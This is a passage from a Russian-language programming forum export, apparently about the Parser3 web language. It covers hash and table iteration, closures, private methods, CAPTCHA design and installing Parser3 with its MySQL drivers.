[/code]"
"79343","[quote] Если оно у вас в итоге заработает, мы добавим какой-нибудь $.check(false), чтобы можно было пропустить проверку доступности серверов при коннекте.[/quote]\
\
В итоге -- заработало.\
Прошу добавить \"какой-нибудь $.check(false)\""
"79346","есть SQL UNION из трех таблиц отсортированных по дате\
необходимо сделать некие вычисления и вывести пользователю отсорторированными по дате в обратном порядке.\
\
Пока додумался только\
[code] \
^SQLdata.menu{  \
      манипуляции\
      ^PRNdata.append{$SQLdata.date^#09$SQLdata.и тд и тп} \
}\
^PRNdata.sort{$PRNdata.date}[desc]\
^PRNdata.menu{ вывод }[/code]\
\
но вот может есть более красивые решения?\
\
ещё: менять значения полей в table можно будет совсем никогда?\
можно былобы сделать\
[code] \
^SQLdata.menu{  \
      манипуляции\
      $SQLdata.AdditionField[значение]\
}\
^SQLdata.descmenu{ вывод }[/code]"
"79347","Дополнительным запросом по результатам UNION'а.\
\
Изменяемую таблицу ныне с успехом наменяет hash, порядок элементов хранить научился давно."
"79348","[quote]Почему бы не сделать вычисления и сортировку силами БД?\
Дополнительным запросом по результатам UNION'а.\
[/quote]\
\
слишком много условий в расчетах, с применением различных коэффициентов зависящих от результатов дельты при изменении данных\
\
[quote]Изменяемую таблицу ныне с успехом наменяет hash, порядок элементов хранить научился давно.[/quote]\
у hash нет сортировки и не совсем представляю как hash перебрать в \"обратную\" сторону"
"79349","[quote]слишком много условий в расчетах, с применением различных коэффициентов зависящих от результатов дельты при изменении данных[/quote]\
\
Я этих условий не знаю, конечно, но расчёты в SQL делать вполне удобно.\
\
[quote]у hash нет сортировки и не совсем представляю как hash перебрать в \"обратную\" сторону[/quote]\
\
Ну, во-первых если подготовить данные, то перебор задом наперёд может и не понадобиться.\
Во-вторых, сортировка не требуется, как кстати и для таблицы, есть for и доступ к элементу по индексу (у таблицы есть сдвиг указателя).\
\
[code]$t[^table::create{col\
1\
2\
3}]\
\
^for[row](1;$t){\
	^t.offset[set](-$row)\
	$t.col\
}\
\
\
$h[\
	$.1[1]\
	$.2[2]\
	$.3[3]\
]\
\
^for[row](1;$h){\
	^h._at($h - $row)\
}[/code]"
"79351","[quote]необходимо сделать некие вычисления и вывести пользователю отсорторированными по дате в обратном порядке.[/quote]\
\
если нужна не произвольная сортировка, а требуется лишь изменить порядок строк на строго обратный, то можно так:\
[code]\
$t[^table::create[$PRNdata][$.reverse(true)]]\
[/code]\
это гораздо быстрее, чем сортировать по полю.\
\
[quote]менять значения полей в table можно будет совсем никогда?[/quote]\
\
именно так (\"русский язык моя родной\" :) ).\
причина: оставить table как можно более оптимальным.\
\
\
[quote]слишком много условий в расчетах[/quote]\
\
и что?\
если это sql-ный union, то можно запихнуть его в подзапрос и отсортировать как вам надо. если конечно ваш sql сервер такое умеет.\
\
\
[quote]у hash нет сортировки и не совсем представляю как hash перебрать в \"обратную\" сторону[/quote]\
\
если такое требуется, то пока делают так:\
из хэша делают таблицу ($t[^h._keys[]]), её сортируют (^t.sort($h.[$t.key].date)[desc]), потом выводят содержимое хэша ручками: (^t.menu{$h.[$t.key].field})\
но в todo сортировка хэша есть."
"79352","Нужен был кодер в Base64. Написал код:\
[code]@base64[]\
<form method=\"post\">\
	<input type=\"text\" name=\"url\" value=\"URL картинки\">\
	<input type=\"submit\" name=\"action\" value=\"Перекодировать\">\
</form>\
^if(def $form:url){ \
   $original[^file::load[binary;$form:url]] \
   <pre>^original.base64[]</pre> \
}\
[/code]\
\
Пробую кодировать (на примере http://www.parser.ru/i/logo.gif), выдает ошибку: \
\
'http://www.parser.ru/i/logo.gif' does not start with http:// [parser.runtime]\
\
Почему так? Даже в документации есть http://"
"79354","Спасибо :-)."
"79355","потому что вы не будете достоверно знать что попало в t.0,"
"79356","Или я что-то пропустил? Подскажите или поделитесь опытом, тогда кто как использует переменные, которые нужны как приватные?"
"79357","Т.е. схема примерно такая:\
— Все приватные переменные и методы начинаются с подчеркивания ($_var).\
— Публичные переменные без подчеркиваний.\
— По факту стараюсь все убрать в приватные переменные, а наружу выставить свойства. Если переменную не надо изменять снаружи, то делаю только гетер.\
— Все, что классу нужно передаю через конструктор (DI и IoC наше все).\
— В коде очень легко понять, что где-то ошибся с интерфейсом. Встретился код $object._var, значит надо сделать свойство и получить $object.var.\
— Внутри класса к публичным переменным обращаюсь через свойства, потому что в них часто содержатся фабрики.\
— Для особо сложных случаев использую двойное подчеркивание перед именем — такая переменная никогда не может стать пабликом. Но нужно это редко."
"79358","[code]@protected[]\
^if(^reflection:uid[$caller.self] ne ^reflection:uid[$caller.caller.self]){^throw[access;denied;attempt to access to protected method]}[/code]\
\
У защищённого метода вызвать:\
[code]@_protected_method[]\
^protected[]\
…[/code]\
\
C private сложнее, нужно собирать всех предков класса и проверять отнаследованность private-метода.\
\
Для дисциплины полезно, но на продакшне такое лучше не использовать — пустая трата ресурсов при каждом вызове метода."
"79359","Есть у кого какие наработки?"
"79361","Вечер добрый.\
Система FreeBSD 9.2 amd64\
Скачал два архива с вашего сайта.\
parser3_4_3_freebsd90Rx64.tar.gz\
и\
parser3sql_10_6_freebsd90Rx64_mysql.tar.gz\
распоковал на сервер.\
[code]# ls -l cgi-bin/\
total 2424\
-rw-r--r--  1 www  www      322 Oct 24 01:49 README\
-rw-r--r--  1 www  www     4142 Oct 24 01:48 auto.p\
drwxr-xr-x  2 www  www      512 Dec 16 19:01 charsets\
drwxr-xr-x  3 www  www      512 Dec 16 19:02 lib\
-rwxr-xr-x  1 www  www  2393312 Oct 29 23:58 parser3.cgi\
-rw-rw-r--  1 www  www     1040 Dec 16 19:03 parser3.log[/code]\
также устнокил жрайвер mysql.\
Права на файл parser3.cgi выставленны 755.\
[code]# cat www/.htaccess | grep -v \"#\"\
<Files ~ \"\\.(p|cfg|p3)$\">\
Order allow,deny\
Deny from all\
</Files>\
AddHandler parsed-html html p3 css\
Action parsed-html /cgi-bin/parser3.cgi\
Options -Indexes[/code]\
\
Вылазиет 500 ошибка апача.\
[code]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, you@example.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/code]\
\
Как быть в этом случае?\
Что я делаю не так?"
"79362","Вот что в логе парсера сыпется.\
# tail -n 1 cgi-bin/parser3.log\
[code][Mon Dec 16 19:22:02 2013] [81864] /: -body of process-(2:20): 'select id, menu_title, menu_uri, visible from menu where menu_id in (2,3) and menu_parent_id = '0' order by menu_id DESC, order_by ASC' No database selected [sql.execute] [uri=/, method=GET, cl=0][/code]\
\
Так же если пройти как по вэб ссылке.\
http://мой_домен.ru/cgi-bin/parser3.cgi\
Parser/3.4.3 (compiled on x86_64-unknown-freebsd9.0)"
"79363","Не задана база данных в строке подключения\
http://www.parser.ru/docs/lang/app3mysql.htm"
"79364","Странно, но в старой версии этокого модуля я не увидил ни каких активных подключений к бд."
"79367","Вообще просто хотелось поделиться свой статьей для любимых пользователей парсера\
Как выяснилось, он отлично для этого подходит, я бы даже сказал лучше, чем что либо."
"79368","На хабре уже описали минусы, так что я считаю, что для примитивной защиты достаточно класса антиспама, который выложен в примерах, все остальное только усложнит задачу.\
Чем больше вы популязируете свой метод, тем больше ботов его встраивают в дефолтные методы.\
Применение класса антисапама, без фейковых кнопок, на сайте evans.ru снизило поток спама на 99%.\
Если в ботов встраивается решение каптчи, то такие боты скорее всего стоят денег и если его применяют - то это уже будет фактически целевая атака, а это практически фейл для вас, т.к. таким методом можно обойти все что угодно, даже при определенной усидчивости обучить распознавать котят от котов, вопрос только во времени обучения."
"79369","Никто не знает сервис для создания фонетических транскрипций?\
Если кто не знает, это запись произношения слов. Например, как вот тут: [url=\"http://zeleboberdictionary.com/terms/55/\"]линк[/url]\
\
Может кто писал на Парсере?"
"79370","Случаи бывают разные. Для защиты например номера телефона антиспам не поможет. Что же касается встраивания в ботов распознавание капчи от этого сервиса - то в этом и преимущество сервиса (а не единожды установленного ПО), что его можно будет поменять и боты везде перестанут работать.\
\
Но в целом да, лучшая капча - это ее отсутствие. Но лучше простая капча, чем сложная. :)\
\
P.S. 2dmx102: Вот здесь: http://ppaas.org/ru/docs/auth/ хотелось бы чтобы примеры были содержательнее сообщения об ошибке \"Unauthorized\"."
"79371","Доброй ночи.\
система freebsd 9.1 amd64\
Собираю драйвер, при конфигурации вылетает такая оишбка.\
[code]root@serv_DE:/usr/local/sources/parser-3.4.3 # ./configure\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking for a thread-safe mkdir -p... ./install-sh -c -d\
checking for gawk... no\
checking for mawk... no\
checking for nawk... nawk\
checking whether make sets $(MAKE)... yes\
checking build system type... x86_64-unknown-freebsd9.1\
checking host system type... x86_64-unknown-freebsd9.1\
checking for gawk... (cached) nawk\
checking for bison... bison -y\
checking bison version... 2.7 (ok)\
checking for g++... g++\
checking whether the C++ compiler works... yes\
checking for C++ compiler default output file name... a.out\
checking for suffix of executables... \
checking whether we are cross compiling... no\
checking for suffix of object files... o\
checking whether we are using the GNU C++ compiler... yes\
checking whether g++ accepts -g... yes\
checking for style of include used by make... GNU\
checking dependency style of g++... gcc3\
checking for gcc... gcc\
checking whether we are using the GNU C compiler... yes\
checking whether gcc accepts -g... yes\
checking for gcc option to accept ISO C89... none needed\
checking dependency style of gcc... gcc3\
checking for dynamic-link library extension... so\
configure: WARNING: --with-gc was not specified, hoping linker would find it\
checking for libgc... no\
configure: error: please specify path to libgc: --with-gc=D\
root@serv_DE:/usr/local/sources/parser-3.4.3 #[/code]\
\
Что из gcc стоит.\
\
[code]root@serv_DE:/usr/local/sources/parser-3.4.3 # pkg_version -v | grep gc\
boehm-gc-7.2e                       =   up-to-date with port\
gcc-4.6.4                           =   up-to-date with port\
gcc-ecj-4.5                         =   up-to-date with port\
gcc47-4.7.4.20131130                =   up-to-date with port\
pkgconf-0.9.3                       =   up-to-date with port\
root@serv_DE:/usr/local/sources/parser-3.4.3 # [/code]\
\
Как быть в этом случае?"
"79372","http://www.parser.ru/download/freebsd9/"
"79373","не работает с ними.\
Вот что пишет если бинарника.\
http://www.parser.ru/forum/?id=79361"
"79374","Читать документацию, http://www.parser.ru/docs/lang/?compilenix.htm.\
\
Что касается бинарников с safe mode, поможет поиск в форуме по ключевому слову grpunlim (самые старые сообщения).\
\
Хотя правильнее конечно настроить suexec/apache и использовать версию с safe mode."
"79375","Сборка никак от нее не поможет, парсер у вас работает нормально, вам нужно просто указать базу данных в строке подключения.\
\
В качестве телепатии предположу, что при переносе проекта вы не перенсели настройки конфигурационного auto.p  в котором была описана $SQL.connect-string"
"79376","Только заметил в [url=\"http://www.parser.ru/examples/\"]примерах[/url]:\
«Класс для борьбы со спамом в [b]формы[/b]». Исправьте на «формах»."
"79378","Все равно, как-то не по-русски звучит :)"
"79380","Мне все же кажется, что истинное предназначение капчи, это не просто защита от спама, который полностью автоматически постит все формы на всех, встречающихся сайтах, а защита от автоматизированного целенаправленного использования той части сайта, где предусмотрено ограниченное использование дорогостоящего конвента (представляющего стоимость).\
И опять же повторюсь, сама пиксельная разбивка служит исключительно для удобочитаемости пользователями. Основная задача системы, это централизованная блокировка пользователей, которые уже несколько раз подряд успешно ввели капчу. С автоматизироваными системами можно бороться только так. Скоро будет апдейт методов защиты, там будет более гибкая конфигурация. Я так же понимаю, что полностью эту проблему не решить, но снизить успешное автоматизированнее распознавание с 95% до 10% вполне реально, так что КПД в 85% считаю отличными результатом.\
\
P.S. То, что пишут на хабре, не более чем способ выпендрится в комментариях утрируя ситуации, на практике реализовать атаки смогут только пара человек."
"79381","Может я не четко написал в доке, но это просто два параметра, которые необходимо передавать с каждым запросом любого из ресурсов.\
Если client_id и api_key верны, остальные ошибки зависят от запрашиваемого ресурса. Я намеренно не стал делать поле \"code\", так как там слишком мало методов, чтобы запутаться. Скоро выложу методы, используя которые, вывод капчи в парсере будет элементарным"
"79382","Даже для «профессионалов». Неоднократно замечал и за собой и за коллегами, что современные капчи пройти с первого раза не получается. Про обычных пользователей и говорить не приходится — многие уйдут с вашего сайта еще до ввода капчи. Подозреваю, что, в большинстве случаев, лучше пропустить спамера, чем послать пользователя.\
\
Лучше всего использовать двухстадийный механизм защиты. Сначала проверяем средствами антиспама и только если появились обоснованные сомнения выдаем капчу. Именно так устроен [url=http://api.yandex.ru/cleanweb/]API Яндекс.Чистый Веб[/url], который реализует «расширенную версию» вашего сервиса. При этом надежность и качество сервиса будет серьезно выше любого самодельного, как минимум потому, что Яндекс имеет возможность обучать алгоритм антиспама на огромной базе данных.\
\
Можно даже сделать три стадии проверки. На первом этапе используем механизмы  Мишиного класса или аналоги (токены, «лишние» поля и кнопки), чтобы отсечь тупых ботов. На втором шаге отправляем форму на проверку Яндексу. Если Яндекс засомневался, то выдаем капчу."
"79383","[quote]Неоднократно замечал и за собой и за коллегами, что современные капчи пройти с первого раза не получается.[/quote]\
\
угу, вероятность распознавания recapcha-и у меня где-то в районе 40-50 %.\
но в случае с recapcha я не вводя ничего сразу нажимаю кнопку. после этого показывается вторая капча, состоящая только из цифр. распознать её мне уже не составляет труда. но возможно роботам тоже :)"
"79384","Есть еще одна проблема, Яндекс не в состоянии противостоять автоматизированному распознаванию с применением дешевых человеческих ресурсов. Это сделано в основном для SЕО. Об этом даже на конференции шла речь, где выступал представитель Яндекса. (Не помню как называлась конференция, последняя)\
\
Яндекс чистый веб не найдет признаков спама, если это будет нацеленная атака для массовой регистрации, даже если капча яндекса и появится, она быстро отправляется в на антигейт или рукапчу, затем вводится на атакуемый сайт и все готово.\
\
В моем случае, капчи для пользователя неотличима от обычного текста, что является жирным плюсом. Такую капчу можно относительно легко распознать, на хабре мне это показали. [b]Основная фишка — это выявление роботов на этапе ввода значения капчи и их отсев. [/b]\
Тот метод, который сейчас указан в доке устарел. Я учел критику хабра и сделал мощную технологию, при которой, в момент проверки значения, пользовательский ip попадает в одну из четырех категорий:\
Proxy, Server, Person, NAT.\
\
Для каждой категории включаются свои алгоритмы фильтрации и теперь пользователей за NAT блокировки не коснутся.\
Такой подход даст гарантированное снижение успешности распознавания для атакующего до 5-10%.\
Я все пытаюсь донести, что капча — это защита не просто от спама, а от автоматизированных систем, в том числе от авторегистраторов почтовых ящиков, сборщиков ценной информации.\
\
Думаю на следующей неделе будет продолжение статьи."
"79385","По одной простой причине — они решают проблемы программистов, а не пользователей. Конечно, случаи бывают разные, но в большинстве ситуация не нужны ни капчи, ни регистрация пользователей, ни обязательные поля в формах. Каждый из этих «механизмов» — это упрощение жизни разработчикам и огромные барьеры для клиентов. Если обобщить, то получится известное правило [url=http://artgorbunov.ru/bb/ui/evil/]«интерфейс зло»[/url].\
\
У меня нет претензий к вашей реализации капчи, но есть претензии к самой концепции защиты. Очень хочется, чтобы те, кто читают эту ветку подумали об этом.\
\
Яндекс предлагает более корректную, на мой взгляд, схему — сначала пробуем разобраться со спамом, анализируя содержимое и метаинформацию и только если не получилось выдаем капчу. Хотя я бы второй шаг не использовал — лучше поставить на модерацию или опубликовать, а потом отмодерировать или прогнать по дополнительным эвристикам, специфическим для конкретного проекта.\
\
p.s. http://artgorbunov.ru/bb/soviet/found/%D0%BA%D0%B0%D0%BF%D1%87%D0%B0"
"79386","Вообще это хорошая идея, может даже реализую ее в качестве дополнительного ресурса. Это актуально, если на ваш сайт зашел Посититель, который является сервером или прокси."
"79387","Да постмодерация это правильно.\
А также для систем типа централизованных сервисов защиты это просто гениальная штука - халявное обучение своих же сервисов.\
Донесите им, студия с яндексом вроде как хорошо сотрудничают между собой)).\
Да и на хабре они не плохо контактируют, недавно писал девушке там, что после последнего обновления хрома, не работает XMLHttpRequest у их переводчиком, в течении 2 дней они добавили Access-Control-Allow-Origin. В то же время на мою заявку через форму обратной связи так и не ответили. Так что с ними надо искать обходные пути связи )."
"79389","[code]$files[^file:list[…;\\.sql^$]][/code]\
\
[quote]Unhandled Exception (Debug)\
UTF-8 validation failed during pcre_exec (-10).\
\\.sql^$[/quote]\
\
Win, в 3.4.2 и 3.4.3.\
Файл в UTF-8.\
\
Upd.: опознали, это http://www.parser.ru/forum/?id=78487."
"79393","Установил по инструкции (http://www.kulikoff.net/parser3/img/) NConvert. Пробую получить информацию о файле \
[code]^oImg.info[/fff/img.jpg][/code]\
\
Выдает ошибку:\
'info' Unknown image format '/fff/img.jpg' [Img]\
\
В чем проблема?"
"79395","Интересной работы, адекватной оплаты и здоровья всем!"
"79396","Бинарник скачивал с официального сайта. Есть ссылка на правильный?"
"79398","http://blog.philippheckel.com/2013/07/07/send-whatsapp-messages-via-php-script-using-whatsapi/"
"79400","Не могу понять, где оно выполняется, если обращаться из одного класса в другой, почему результат всегда true и как такой вызов (выражения из оператора) лучше организовать? \
И вообще мистика: если убрать часть, где вычисляется x, y тоже не будет заполняться.\
\
[code]@main[]\
\
$opt[$.a(1)$.b(2)$.c(3)]\
\
$x[^sel[$opt]($src.$k == 2)]\
^x.foreach[k;v]{$k = $v <br>}\
#b = 2 \
<p>\
\
$y[^tst:sel[$opt]($tst:src.$k == 2)]\
^y.foreach[k;v]{$k = $v <br>}\
#a = 1 b = 2 c = 3 \
\
@sel[src0;condition]\
$src[$src0]\
$result[^hash::create[]]\
^src.foreach[k;v]{\
	^if($condition){$result.$k[$src.$k]}\
}\
\
@CLASS\
tst\
\
@sel[src0;condition]\
$src[$src0]\
$result[^hash::create[]]\
^src.foreach[k;v]{\
	^if($condition){$result.$k[$src.$k]}\
}[/code]"
"79401","[code]\
@main[]\
  $h[^for[i](1;100){$.[$i][^math:random(1000)]}]\
  $h[^hashUtils:select[$h;k;v]($k % 2 && $v < 450)]\
  ^h.foreach[k;v]{$k => $v}[^#0A]\
\
@CLASS\
hashUtils\
\
@select[aHash;aKeyVar;aValueVar;aConditions][locals]\
  $result[^hash::create[]]\
  ^aHash.foreach[k;v]{\
    $caller.[$aKeyVar][$k]\
    $caller.[$aValueVar][$v]\
    ^if($aConditions){\
      $result.[$k][$v]\
    }\
  }\
[/code]\
\
Это классический пример итератора на Парсере. Аналогичная схема применима в подавляющем большинстве подобных задач.\
\
p.s. В идеальной ситуации функция должна работать только с теми данными, которые ей явно передали. Хранить в статических классах какие-либо данные очень плохая практика. :)"
"79402","С наступившим) \
Согласен, работа в контексте вызывающего метода напрашивается в первую очередь. И с hash of hash такая конструкция тоже будет работать без проблем. Но вот если в стек вызовов встроить метод, то, боюсь, появятся непреодолимые трудности. \
\
[code]@main[]\
  $h[^for[i](1;20){$.[$i][$.a[^math:random(1000)]]}]\
  $h[^hashUtils:selOdd[$h]($v.a < 450)]\
  ^h.foreach[k;v]{$k => $v.a}[^#0A]\
\
@CLASS\
hashUtils\
\
@selOdd[aHash;aConditions][locals]\
$result[\
	^select[$aHash;k;v]($k % 2 && $aConditions)\
]\
\
@select[aHash;aKeyVar;aValueVar;aConditions][locals]\
  $result[^hash::create[]]\
  ^aHash.foreach[k;v]{\
    $caller.[$aKeyVar][$k]\
    $caller.[$aValueVar][$v]\
    ^if($aConditions){\
      $result.[$k][$v]\
    }\
  }[/code]"
"79403","... если не забыть пробросить контекст из внутреннего замыкания во внешнее:\
[code]\
@main[]\
  $h[^for[i](1;100){$.[$i][^math:random(1000)]}]\
  $h[^hashUtils:selectOdd[$h;k;v]($v < 450)]\
  ^h.foreach[k;v]{$k => $v}[^#0A]\
\
@CLASS\
hashUtils\
\
@selectOdd[aHash;aKeyVar;aValueVar;aConditions][locals]\
  $result[\
    ^select[$aHash;k;v]{\
      $caller.[$aKeyVar][$k]\
      $caller.[$aValueVar][$v]\
      ^if($k % 2 && $aConditions){1}{0}\
    }\
  ]\
\
@select[aHash;aKeyVar;aValueVar;aConditions][locals]\
  $result[^hash::create[]]\
  ^aHash.foreach[k;v]{\
    $caller.[$aKeyVar][$k]\
    $caller.[$aValueVar][$v]\
    ^if($aConditions){\
      $result.[$k][$v]\
    }\
  }\
[/code]"
"79404","Например такой:\
[code]\
@main[]\
  $h[\
    ^for[i](1;20){\
      ^if($i % 5){\
        $.[$i][^for(n)(1;10){$.[$n][^math:random(600)]}]\
      }{\
         $.[$i][^math:random(1000)]\
       }\
    }\
  ]\
  $h[^hashUtils:select[$h;$test1]]\
  ^json:string[$h][$.indent(true)]\
\
@test1[aKey;aValue]\
  $result($aKey % 2 && $aValue < 450)\
\
@CLASS\
hashUtils\
\
@select[aHash;aCondFunction][locals]\
  $result[^hash::create[]]\
  ^aHash.foreach[k;v]{\
    ^if($v is hash){\
      $result.[$k][^select[$v;$aCondFunction]]\
    }{\
       ^if(^aCondFunction[$k;$v]){\
         $result.[$k][$v]\
       }\
     }\
  }\
[/code]"
"79406","действительно спасибо: я понял, что выражение выполняется в контексте вызывающего, но должно итерироваться из вызываемого. И это единственная хорошая практика. Но пока непонятно с контекстом выражения, о чем я и спрашивал. Если в вашем примере модифицировать методов одним из следующих способов, выражение всегда получается ложным:\
\
[code]@selectOdd[aHash;aKeyVar;aValueVar;aConditions][locals]\
  $result[\
    ^select[$aHash;k;v]{\
      $caller.[$aKeyVar][$k]\
      $caller.[$aValueVar][$v]\
      $aConditions($k % 2 && $aConditions)\
      ^if($aConditions){1}{0}\
    }\
  ][/code]\
\
[code]\
@selectOdd[aHash;aKeyVar;aValueVar;aConditions][locals]\
$extra($k % 2)\
  $result[\
    ^select[$aHash;k;v]{\
      $caller.[$aKeyVar][$k]\
      $caller.[$aValueVar][$v]\
      ^if($extra && $aConditions){1}{0}\
    }\
  ]\
[/code]"
"79407","Если необходимо обратиться к контексту вызывающей функции, то используем переменную caller текущего контекста. Т.е. мы можем «перенести» часть нашего контекста в контекст вызывающей функции, присвоив там какой-то переменной значение из нашего контекста. Таким образом формируется [url=http://ru.wikipedia.org/wiki/%C7%E0%EC%FB%EA%E0%ED%E8%E5_%28%EF%F0%EE%E3%F0%E0%EC%EC%E8%F0%EE%E2%E0%ED%E8%E5%29]замыкание[/url].\
\
Тут важно понимать, что выражение всегда имеет смысл только в контексте конкретного вызова той функции, где оно написано. Иными словами — контекст имеет короткий срок жизни. Если мы в функции присвоили код внешней переменной и вышли из функции, то контекст пропадает и код становится неработоспособным. Оператора yeld в Парсере нет. :)\
\
[quote]Если в вашем примере модифицировать методов одним из следующих способов, выражение всегда получается ложным[/quote]\
\
В вашем коде никаких проблем с контекстами нет, а есть две очевидные [b]логические ошибки[/b].\
\
[code]$aConditions($k % 2 && $aConditions)[/code]\
\
В данном случае вы на первой итерации присваиваете $aConditions значение tue или false. И на каждой следующей итерации используете это значение, а не то выражение, которое написано в вызывающей функции. Если на первой итерации aConditions == false, то на всех следующих ваш код бeдет выдавать false, если true, то все завсит от индекса первого элемента хеша, но на второй итерации опять получим false и дальше все сводится к первому случаю.\
\
[code]\
@selectOdd[aHash;aKeyVar;aValueVar;aConditions][locals]\
$extra($k % 2)[/code]\
\
Здесь переменная k не определена и в extra мы получим 0, а значит и в выражении ($extra && $aConditions) до вычисления aConditions даже не дойдет и выражение всегда будет ложным."
"79408","Всем привер. Друзья, подскажите пожалуйста, какую версию парсера cкачать для установки на сервер с операц.системой CloudLinux Server release 5.10 64 bit. Спасибо."
"79409","По-идее это CentOS, но у нас готовые бинарники лежат только для 6 версии. Так что боюсь придется экспериментировать или при наличии ssh доступа можно собрать самостоятельно:\
\
http://www.parser.ru/docs/lang/?compilenix.htm"
"79410","Большое спасибо )"
"79411","Понятно: выражение вычисляется в момент вызова, оно не персистирует, как код.\
Но замыкание в Парсере - не совсем честное, да? Переменные вложенной функции не сохраняются по завершении внешней."
"79412","Дело в том, что в Парсере нам не нужна вложенная функция, поскольку есть отдельное понятие «код». Про отсутствие yeld'а я уже упомянул в качестве шутки. \
\
p.s. Из теоретических соображений хорошо бы добавить в Парсер анонимные функции (я упоминал о них в тикете #34 в Редмайне), но и без них сейчас вполне нормально можно делать очень красивые и удобные методы (пример с функцией вместо кода я приводил). Что мы в этом треде и обсуждали."
"79413","Если переменная содержит код или выражение, то они вычисляется каждый раз при обращении к ней. Посмотрите еще раз внимательно на http://www.parser.ru/forum/?id=79403"
"79414","если можно еще вопрос, НЕ получается соединится с БД,\
\
Версия сервера: 5.1.66-rel14.1-log - Percona Server (GPL), 14.1, Revision 495\
Версия клиента базы данных: libmysql - 5.0.96\
\
ставлю разные версии Парсера:\
- начинаю с Parser/3.1.4 т.к. на нем написан код, (древний уже наверно скрипт и драйвера, но хотелось бы его запустить),\
тестовый файл выдает ошибку:\
Что-то непонятное с SQL. Возможно не положены куда надо драйвера. \
driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory\
$sqldriversdir/libparser3mysql.so\
\
- ставлю версию Parser/3.4.3, тестовый файл выдает ошибку:\
Что-то непонятное с SQL. Возможно не положены куда надо драйвера. \
libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory\
$sqldriversdir/libparser3mysql.so\
\
$SQL: определяется нормально\
protocol 	parser driver 	sql client library\
mysql 	$sqldriversdir/libparser3mysql.so (41896 байт) 	libmysqlclient.so (относительный путь. проверка невозможна)\
\
Путь к дровам указан так:\
[code]$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
][/code]\
\
если сделать так\
Путь к дровам указан так:\
[code]$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/system/libmysqlclient.so\
}]\
][/code]\
\
то ошибка все равно есть, в \
логах пишется так\
'lib/libparser3mysql.so' libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory [<no type>] [uri=/page1.html, method=GET, cl=0]\
\
непойму в чем дело? подскажите пожалуйста )"
"79415","[quote]driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory[/quote]\
\
Это значит, что libparser3mysql.so загрузился, и не может далее загрузить libmysqlclient.so. Либо не находит (проверять путь,\
можно прописать абсолютный), либо они разных версий (например разной битности - парсер 32-х битный, а libmysqlclient.so 64-х битный.\
\
[quote]'lib/libparser3mysql.so' libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory [<no type>][/quote]\
\
Здесь не грузится libparser3mysql.so. По-идее если парсер и драйвер взяты одной версии, такого быть не должно. Можно сравнить вывод ldd <parser3.cgi> и ldd lib/libparser3mysql.so. Если во втором случае что-то не находится - значит не тот драйвер."
"79416","По первому случаю ошибки [quote]Это значит, что libparser3mysql.so загрузился, и не может далее загрузить libmysqlclient.so[/quote]\
libmysqlclient.so - такго файла на версии 3.1.4 у меня совсем не было (раньше в lib/ не было папки system с этим файлом) и все работало в такой сборке. Может быть этот файл есть у вас в архивах где нибудь?  \
\
Кстати в \"скачать/parser3sql_10_5_redhat73_mysql.tar.gz (31.08.2012  18,8 КБ)\"  тоже нет файла клиента libmysqlclient.so? \
он нужен в этой версии или нет?\
\
По поводу битности 32-64, \
если у меня парсер 32, бита а север Apache 64, то сервер mysql тоже 64-бита? как это узнать?\
\
Еще такой момент, у меня поставлен parser3_4_3_redhat73 32-бита и драйвера вот эти parser3sql_10_6_redhat73_mysql - они веряотно для 6 версии mysql?\
а Версия сервера: 5.1.66-rel14.1-log - Percona Server (GPL), 14.1, Revision 495 и Версия клиента базы данных: libmysql - 5.0.96 \
т.е. версия сервера 5, а драйвера 6 или ошибаюсь?\
\
\
К сожалению не совсем знаю как сделать вывод ldd, \
(после прочтения статьи, сделал так как сказано здесь http://www.parser.ru/forum/?id=79160\
Создаю файл test.sh в Editplus, кладу в папку к скрипту parser3.cgi, права на файл 755 (как и на скрипт parser3), сам скрипт переименован в sсript-parser.cgi (так же можно), но не работает, выводится 500 ошибка,\
Код в файле такой:\
[code]#!/bin/sh\
echo \"Content-type: text/plain\"\
echo\
ldd sсript-parser.cgi\
[/code]\
\
или пробовал через модуль перл на хостинге и указал превод строки \\n\
[code]#!/usr/bin/perlml \
echo \"Content-type: text/plain\" \\n\
echo \\n\
ldd sсript-parser.cgi \\n\
[/code]\
\
Драйвера закачал заново, но тоже самое, версия эта parser3_4_3_redhat73.tar.gz (32-бит)"
"79417","[quote]libmysqlclient.so - такго файла на версии 3.1.4 у меня совсем не было[/quote]\
\
возможно был прописан путь к системной библиотеке.\
без клиентской библиотеки парсер не работает с mysql.\
\
[quote]Может быть этот файл есть у вас в архивах где нибудь?[/quote]\
\
поищите на mysql.com, это не наша библиотека.\
\
[quote]Кстати в \"скачать/parser3sql_10_5_redhat73_mysql.tar.gz (31.08.2012 18,8 КБ)\" тоже нет файла клиента libmysqlclient.so? \
он нужен в этой версии или нет?[/quote]\
\
нужен.\
просто раньше мы её и не выкладывали (сейчас выложили впервые).\
\
[quote]если у меня парсер 32, бита а север Apache 64, то сервер mysql тоже 64-бита? как это узнать?[/quote]\
\
сервер mysql может быть вообще на другой машине и другой битности.\
вам не сервер нужен, а клиентская библиотека mysql.\
где она -- спросите у админа.\
если ставите её сами -- должны знать что поставили.\
\
[quote]Еще такой момент, у меня поставлен parser3_4_3_redhat73 32-бита и драйвера вот эти parser3sql_10_6_redhat73_mysql - они веряотно для 6 версии mysql?[/quote]\
\
10.6 -- это версия парсерного драйвера для mysql.\
а мы разговор ведём про клиентскую библиотеку. драйвер работает с mysql сервером через клиентскую библиотеку mysql.\
версия парсерного драйвера mysql не привязана к версии mysql. она привязана только к версии SQL API парсера (число 10 -- это версия этого SQL API. драйвер версии 9 не совместим с драйвером версии 10, а 10.1 совместим с 10.2). в частности драйвер, который работал с парсером версии 3.1.4 по моему не подойдёт к текущему парсеру (и наоборот). но об этом будет написано в сообщении с ошибкой."
"79418","[quote]Может быть этот файл есть у вас в архивах где нибудь?[/quote]\
\
